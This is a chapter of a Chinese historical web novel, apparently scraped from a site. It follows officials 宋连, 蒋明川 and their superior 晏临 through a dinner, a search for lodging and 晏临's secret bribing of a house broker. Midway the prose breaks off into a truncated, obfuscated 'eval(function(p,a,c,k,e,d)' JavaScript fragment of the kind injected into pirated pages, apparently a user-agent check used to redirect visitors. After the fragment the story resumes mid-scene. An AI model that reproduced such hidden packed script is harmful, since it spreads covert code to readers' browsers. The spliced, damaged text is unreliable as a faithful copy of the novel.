这庭花阁倒是特别,不似平常楼内雅间,反而深藏后院,跟着长随一顿好走,推开了一扇厚重的雕花木门,门外别有一番洞天。 “大人,到了。”长随恭谨地立在门侧。 宋连好奇地朝内打量,只闻鸟鸣泉涌,当头便是一 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“我叫陈科,是缄默司风宪台的新人。”宋连对这女子总有些好奇,直问姓名未免唐突,想必那女子听此言也会说个一二,蒋明川也赶忙说道:“蒋明川,缄默司玄武卫。” 那女子头也不抬:“许筠蘅,天狱司。” “女子也能入朝为官吗?”宋连问道,她以男身入仕不稀奇,可眼前这个女子究竟是何能耐竟可反叛森严礼法。 许筠蘅抬头面无表情直视着宋连的眼睛:“看不上女人?”简简单单的疑问句,宋连听出了她口中的鄙夷。 “他绝无此意。”晏临笑着缓和道。 “许大人,怎么未曾在学堂见过你?”蒋明川自打进了屋内,手也不知该往哪放,眼也不知该往哪看,这会子才大着胆子问道。 许筠蘅抿了一口茶,看向晏临,“你带的新人?” 若是个寻常男子,宋连一定不会再多言,此人言语傲慢,目中无人,姿态颇高,可她偏偏是个当官的女子,宋连敬服,这才将许筠蘅种种忍耐下来。蒋明川更不必说,他本身脾性便好,又是第一次遇见此等美人,冷脸也是韵味。 晏临向二人解释道:“许筠蘅,是当今丞相的长女,因她过目不忘,记忆绝群,故而特拨入了天狱司。” “不必给我戴高帽子,我只是为了有趣。”许筠蘅掀开茶盖轻轻呼了口热气。这烹好的一壶茶,现在只她单独吃着,那三人面前空落落的。但她愈没有寻常的待客之道,宋连便愈发好奇。 几人一时无话,许筠蘅旁若无人,只管吃着她的茶,蒋明川素日是个好暖场子的,这会子坐在许筠蘅旁边背都直直挺着,两只手局促地放在桌上。 宋连总感觉旁边人的目光时不时飘来,等她想去捕捉,却只看见晏临的眼睛好端端地看着窗台睡莲。真是怪了。 “我已点好了菜,但我不喜与陌生人同桌吃饭,先走了,”许筠蘅不待旁人回应,也不顾蒋宋二人是否尴尬便起了身,利落地系好披风带子,从袖中拿出一沓线装整齐秀气的册子放在晏临面前,“送你做指挥使的第一份大礼,你再斟酌是否要让这两个新人接触。” 许筠蘅说这话时眼神淡淡扫过蒋、宋二人,随后只留一壶仍在飘香的观音茶便推门离开。 13. 上官剥虾 生人社交互相寒暄其乐融融,熟人组局无需假面轻松自在,唯有半生不熟最难相处。 此刻庭花阁内安安静静,假山上细细流水滴答作响,另一端金丝笼中羽毛斑斓的小雀偶尔啼叫。 也不是第一次同桌吃饭,可阔别多年已将不多的亲近洗涮成空气中弥漫的尴尬。 “晏大人身体可大好了?”宋连先开了口,提起茶壶倒了一杯,推到晏临面前。 “离京休养了不多时日便痊愈了,山清水秀不舍得回来罢了,”晏临眉眼弯弯,“今日我们也算重聚,你们也不是小孩子了,不妨吃些酒?” 此时他倒有些像少时模样了,话也不像金豆子似的不舍得掉,宋连略微放下了些心。 若人还是亲切好相处,最好念及一点些微的旧情,这眼线生活也能开个好头。 “我和大人喝!”蒋明川这时才放开了手脚,神色自然不少,“小科他不喝酒的。” “滴酒不沾?”晏临偏过头看向宋连,“果酿可以吗?” 蒋明川以为上官劝酒宋连不好拒绝,连忙端起杯子朝晏临探去,“大人和我喝!他酒量忒差,喝不尽兴的。” 晏临收回目光,摇了摇桌旁的铃铛,门外伺候的小厮立刻端上早已备好的酒菜上来,也并不像寻常那般热热闹闹报菜名,想来是许筠蘅用饭的规矩,酒楼里伺候的人都知晓了。 “你们关系真好,”晏临敛起袖子倒了一杯酒,袖管露出的一小节腕骨格外突出,像海底白润的蚌壳。 他瘦了,宋连心想。大考时见到他便如此觉得,那身衣服在他身上萧萧当当。 晏临将酒推给蒋明川,他忙不迭站起身接住。 “我们可是同住一间房十年的关系!”蒋明川扬起笑脸,朝宋连抬抬下巴。 “同住一屋?”晏临眸中闪过一丝诧异,又朝宋连看过来。 “是。”宋连倒不觉得这有什么奇怪,她沏了杯茶和两人碰了碰。 “这样啊,”晏临垂下目光,似乎在专心品酒,“那关系的确很好。” 菜很快便铺满了桌子,小厮轻手轻脚端着托盘退去掩上了门。 点菜亦可观人,许筠蘅点的这一桌子没有什么口味浓重的下酒菜,多是些精巧细致的清淡羹肴。 浓白色的是雪霞羹,上面洒着芙蓉花瓣;青色的是山家三翠,嫩笋为主,辅以枸杞红色点缀;淡黄色的是玲珑牡丹鲊,将鱼肉切片炸至金黄又雕琢成牡丹花瓣的形状;青色盘里盛的是宋连最爱,太湖白虾。 “跟着大人真是大饱口福了,小科看钱紧着呢,他爱吃的白虾都不舍得常点。”见晏临没端着上官的架子,蒋明川话又多了起来。 这遇仙楼的虾的确美味,肉质紧致饱满,味道甜美不寡。只是宋连吃饭很急,总要忍到七八分饱了才闲下手来去剥,遇见同桌是蒋明川还好,总会给宋连留一些,但仍总吃不过瘾。 这次是和上官同吃,宋连拘了些馋虫,等晏临动筷才去夹了些笋丝,毕竟这样的宴席,饭菜反而是其次的。 忽然,宋连盘中放了一只剥了壳的,晶莹剔透的虾,那递过来的手还没收回去,纤长白皙,动作优雅从容,仿佛是在做什么理所当然的事。 宋连讶异抬头,与同样讶异的蒋明川面面相觑,扭头却见晏临慢条斯理地拿着一旁备好的素绢巾擦拭着指尖。 “晏大人,”宋连开口有些踟蹰,“这……” “明川说你爱吃,”晏临静静注视着宋连,眸光温柔,真像是一个关爱下属、平易近人的好上峰,“见你迟迟不动,以为你不好意思。” 这下宋连倒真的有些局促了,连忙道谢,一场饭的功夫没少再给自己剥虾,一点懒也不躲,吃了十八年以来最多的一次。 晏临见着,不禁含笑,又喝了些酒,脸上气色红润了些。 宋连一眼也未敢往旁边瞧,余光里男子眉若墨画,眸似星点,肤白如冷月,唇红似海棠,几缕乌发随性地从玉簪上垂落,一颦一笑皆是风流,单是坐在那里,便像是画中人。 美色当前,她自知自己没什么抵抗力,于是端端正正坐着剥虾,比之学堂上课还要目不斜视。 她慢慢吃着,少时他便是如此体贴温和,今日剥虾倒也不奇怪,没准还没习惯上官的身份,只把自己当需要照顾的弟弟罢了。 今日一顿饭,晏临比大考时鲜活多了。这是好事。 再出门,弦月当空,点点星子爬上树梢,一辆玄青色的马车停在酒楼门口,一侍卫恭敬立在旁边。 宋连似乎有些印象,这人名唤逍墨,是来接晏临的。 晏临回身朝两人道别:“缄默司见。” 月色下好像更美了。 宋连暗骂自己真没出息,于是放声大喊了句大人慢走,嗓门连蒋明川都压了下去。晏临似乎讶了一瞬,才勾了勾唇,朝她微微点头。 待晏临马车走远,二人一路往回走,蒋明川朗声笑道:“真羡慕你在晏大人手底下做事!” 宋连陪着呵呵笑了两声,实则内心又在想着,早晚得对那张脸免疫,可别误了正事。 * 晏临上了车,等帘子放下,逍墨赶忙给他围上披风,又将手炉放进他怀里,车里镶了暖炉,方才逍墨掐好了时间刚添的柴火,此时烧的正旺,晏临脚下踩着脚炉,热气蒸蒸向上。 等车内都布置好,逍墨用袖子蘸了蘸满脸汗珠,便退出去执辔驾车了。 四月夜,晚风宜人,可惜晏临无从享受,他许久未骑马吹风,清爽怡人的,如今成为了避之不及。 那张面孔萦绕在他眼前,像是海面下一株奇异诡艳的花,花瓣在海水中摇曳舒展,周身形成了一圈幽蓝色的漩涡,咸腥的海水泛起淡淡的香甜,勾着人向下探究。 这花是幻象还是真实,长在何处,有毒无毒? “逍墨,这世上会有长相完全相同的人吗?”晏临怏怏地枕靠在身侧的茵褥上,从前他车里是不备这些的,但到底今时不同往日,十年了,他也不再想扭着性子为难自己。 这病起初时,他甚至一度难以自制,手里有什么便摔什么,拒绝一切搀扶、照顾,直恨的双目通红,可这恨撒向谁去,他连恨都恨不明白。吐了几次血,人便老实了,卧在床上一句话不说,就那样了无生气地喂什么喝什么。 直到来年又开了春,公孙先生的几句话,令他心中疑窦得了证实,祖父的死的确有异,人才又活了过来。 隔着布帘,逍墨的声音闷闷的。 “大人说的,属下不懂,但,人海泱泱,有类似长相也是有的。”逍墨说话一向谨慎,此时也是斟酌着开了口,晏临不说,他也不会询问为何如此发问。 晏临没再说话,他抱着暖炉合上眼歇息了片刻,恢复了些精神,又在车内融融暖意下发了层虚汗,这才睁开眼。 他从袖口拿出许筠蘅给的册子,不过扫了两眼,立刻坐直了身子。 这当真是一份“大礼”。 * 宋连要着手准备找住处了。 以往缄默司会安排公廨,本身人就不多,干脆大包全揽,宋连也乐得方便。不知今年怎的,可昨晚楚教头传来消息,风宪台那边说还没人住的屋子都要修缮一番,至于什么时候恢复,目前还没个准信。 可后天便要走马上任了!宋连行囊都收拾好就等拎包入住呢。 第二日一大早,宋连便起身准备下山看房。既是要去看房,穿衣打扮她也是思量了许久,既不能太寒碜,叫牙行看轻自己不诚心招待,也不能露富,白白让人宰了。 最后,宋连打算作书生模样,穿一身半旧青袍,但这衣服质地甚好,也好叫人觉得这是个有些底子又很清高拿乔的主儿。 “哇,小科,你这样穿真挺像说书先生口中的俊俏书生,”蒋明川虽有玄武卫的住处,但他爱凑热闹,也要去帮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这话他今天上午说了无数回,甚至还挑挑拣拣,让牙子再带他们去几个更好的房子那看看。反正都那么贵了,还不如住的舒心,休沐了也好让他去宋连那蹭住一番,这就是有钱冤大头的原话。 宋连无语地牙痒痒,又疾走到牙子那恨声说道:“单间什么价!拼廨又什么价!” 这些年陈老爷出手大方,她手里也攒下了些银子,只是钱这好东西可是要花到刀刃上的,左右她能吃苦,随便有个落脚地就成。 那牙人倒是没想到这书生还有这一手,瞧着衣着打扮是个没落世家,竟已到了这般田地,可怜啊,还得罪了人,在京城连个落脚地也难寻。 “单间耳房的话,年租算你二十五两吧。”同情归同情,到底收了人钱,就要给人办事。 “不不不,我们不租耳房!”蒋明川一把扯过宋连,向那牙人连忙摆手。 “昏了头了你,好歹是缄默司的人,”蒋明川在宋连耳边急促说道,“暂时歇在客栈,过几天我得空了再陪你一起瞧瞧,说不定风宪台那边很快就修缮好了。” 今日忙活了大半天,宋连只好作罢,请蒋明川吃了碗面,二人便一同去找客栈,屋漏偏逢连夜雨,几家客栈都说只有今日有空房,问道能否连住都只摆手。 走一步看一步吧,活人还能被尿憋死?宋连暗骂糙话。 * “你的钱,收好。” “是是是,大人,”腆着笑脸将那钱袋子往怀里揣的,正是方才引宋连看房的牙人,“这可不能再有一次,小人还指着口碑过活呢。” “嘴巴闭严。”年轻男子背着一把剑,眼神冷淡,神色肃谨。 等这男子从胡同里走出来,到一马车前坐好,隔着帘子恭敬对里面人道:“大人吩咐的事都办好了。” “嗯。”晏临淡淡回了句。